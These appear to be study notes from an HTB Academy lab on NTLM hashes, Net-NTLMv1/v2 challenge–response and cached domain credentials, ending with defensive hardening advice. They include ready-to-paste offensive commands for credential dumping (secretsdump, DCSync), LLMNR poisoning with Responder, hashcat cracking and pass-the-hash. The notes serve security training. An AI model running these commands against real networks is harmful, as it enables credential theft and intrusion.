HTB Academy - NTLM

🎯 Objective

Give a practical, concise overview of NTLM/Net‑NTLM families (hashes & protocols), how they differ from Kerberos, what each looks like on‑wire / at rest, and how we can identify, crack, or abuse them during assessments—plus key caveats like DCC2.

🧩 What I’m covering

• Differences between hash types (LM/NT) and protocols (NTLMv1/v2, Net‑NTLMv1/v2).
• Quick hash/protocol comparison and where Kerberos fits.
• Anatomy of NT hash / NTLM line items and example tooling (Pass‑the‑Hash).
• Challenge–response flows for v1/v2 (what gets captured and why it matters).
• Domain Cached Credentials (MSCache2/DCC2) and why they’re slow to crack.

🧭 Hash/Protocol Comparison (at a glance)

Tip: “NTLM” is often used loosely. Be precise: NT/LM are hashes (at rest). Net‑NTLMv1/v2 are network challenge/response protocols that can be captured (Responder/relays), then cracked or relayed.

🔑 NTHash (NTLM) — the hash at rest

• Stored in SAM (local) or NTDS.dit (DC).
• Computation: MD4(UTF‑16‑LE(password)).
• Example NT hash: b4b9b02e6f09a9bd760f388b67351e2b (2nd half of legacy “LM:NT” pair).
• Full NTLM line (pwdump style):

Rachel:500:aad3c435b514a4eeaad3b935b51304fe:e46b9e548fa0d122de7f59fb6d48eaa2:::
# username:RID:LM:NT:::

Breakdown:

• Rachel → username
• 500 → RID (500 = built‑in Administrator)
• aad3…04fe → LM hash (often placeholder if LM disabled)
• e46b…eaa2 → NT hash (what you crack or use for PtH)

Pass‑the‑Hash (example)
Once you’ve obtained the NT hash, you can authenticate without cleartext:

crackmapexec smb 10.129.41.19 -u rachel -H e46b9e548fa0d122de7f59fb6d48eaa2
# [+] INLANEFREIGHT.LOCAL\rachel:e46b9e548fa0d122de7f59fb6d48eaa2 (Pwn3d!)

Cracking notes

• 8‑char NTLM keyspace is GPU‑crackable in a few hours; longer PWs vary by complexity.
• Rules + dictionaries often outperform pure brute force on real estates.

🔁 Net‑NTLMv1 (a.k.a. NTLMv1 on the wire)

• Server sends 8‑byte challenge; client returns 24‑byte response (3×DES blocks).
• Cannot be used for PtH (it’s a response, not the NT hash). It can be cracked.
• Frequently captured via LLMNR/NBNS poisoning (e.g., Responder) or relays.

V1 algorithm sketch

C  = 8‑byte server challenge (random)
K1|K2|K3 = (LM/NT hash padded to 21 bytes) split into 3 DES keys
response = DES(K1, C) | DES(K2, C) | DES(K3, C)   # 24 bytes total

Example Net‑NTLMv1

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

🔐 Net‑NTLMv2 (modern default on wire)

• Introduced NT4 SP4; default since Windows 2000.
• Uses HMAC‑MD5 with a v2 key derived from NT hash + identity fields; adds client blob (time, random, domain).
• Harder to crack than v1 (still crackable with good wordlists); ideal target for NTLM relaying if signing isn’t enforced.

V2 algorithm sketch

SC  = 8‑byte server challenge (random)
CC  = 8‑byte client challenge (random)
CC* = (blob: version, time, CC2, domain, other avpairs)

v2-Hash = HMAC-MD5( NT-Hash,  Username + Domain )
LMv2    = HMAC-MD5( v2-Hash,  SC || CC )
NTv2    = HMAC-MD5( v2-Hash,  SC || CC* )
response = LMv2 || CC || NTv2 || CC*

Example Net‑NTLMv2

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

🧷 Domain Cached Credentials (DCC2 / MSCache2)

• Windows caches last ~10 domain logons per machine: HKLM\SECURITY\Cache.
• Format example:
  \$DCC2$10240#bjones#e4e938d12fe5974dc42a90120bd9c90f
• Not usable for PtH; very slow to crack (intentionally). Use targeted lists.
• You’ll dump these after local admin / SYSTEM on a host; cracking is often futile unless policy is weak.

📎 Copy‑paste crib

# Dump local SAM (offline) with secretsdump.py (example)
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Dump NTDS from DC (DCSync example)
secretsdump.py 'DOMAIN/user:Pass@DC' -just-dc

# Responder (capture Net-NTLM* over LLMNR/NBNS)
responder -I eth0 -wrf

# Crack Net‑NTLMv2 with hashcat (mode 5600)
hashcat -m 5600 captured.hash /path/to/wordlist.txt -r rules/best64.rule

# Pass-the-Hash (SMB)
crackmapexec smb 10.10.10.10 -u user -H <NT_HASH>

🧪 Troubleshooting

• No mutual auth with NTLM → vulnerable to relay unless SMB signing/HTTPS protections are enforced.
• SMB signing required? Relay to other protocols (e.g., LDAP) or look for endpoints without signing.
• Cracking stalls? Sanity‑check format (Net‑NTLMv1 vs v2) and hashcat mode; try targeted wordlists (password reuse, corp patterns).
• DCC2 too slow? Don’t brute force blindly—go for credential access elsewhere (LSA, browser stores, DPAPI).

🔒 Defense (blue team notes)

• Prefer Kerberos; disable LM/Net‑NTLMv1; restrict outbound auth.
• Enforce SMB signing; enable LDAP signing/channel binding; protect against relays (EPA).
• Disable LLMNR/NBNS; deploy DNS suffix search; harden WPAD.
• Audit NTLM usage (Event IDs 4624/4776/8004), and phase out legacy apps.
• Strong password policy, MFA, and tiered admin; monitor for odd challenge/response captures.

✅ Result

You can now:

• Distinguish hash at rest (NT) vs on‑wire responses (Net‑NTLMv1/v2) and Kerberos.
• Recognize sample strings and know which tooling applies (crack, relay, or PtH).
• Understand when DCC2 is a dead‑end for brute force and where to pivot instead.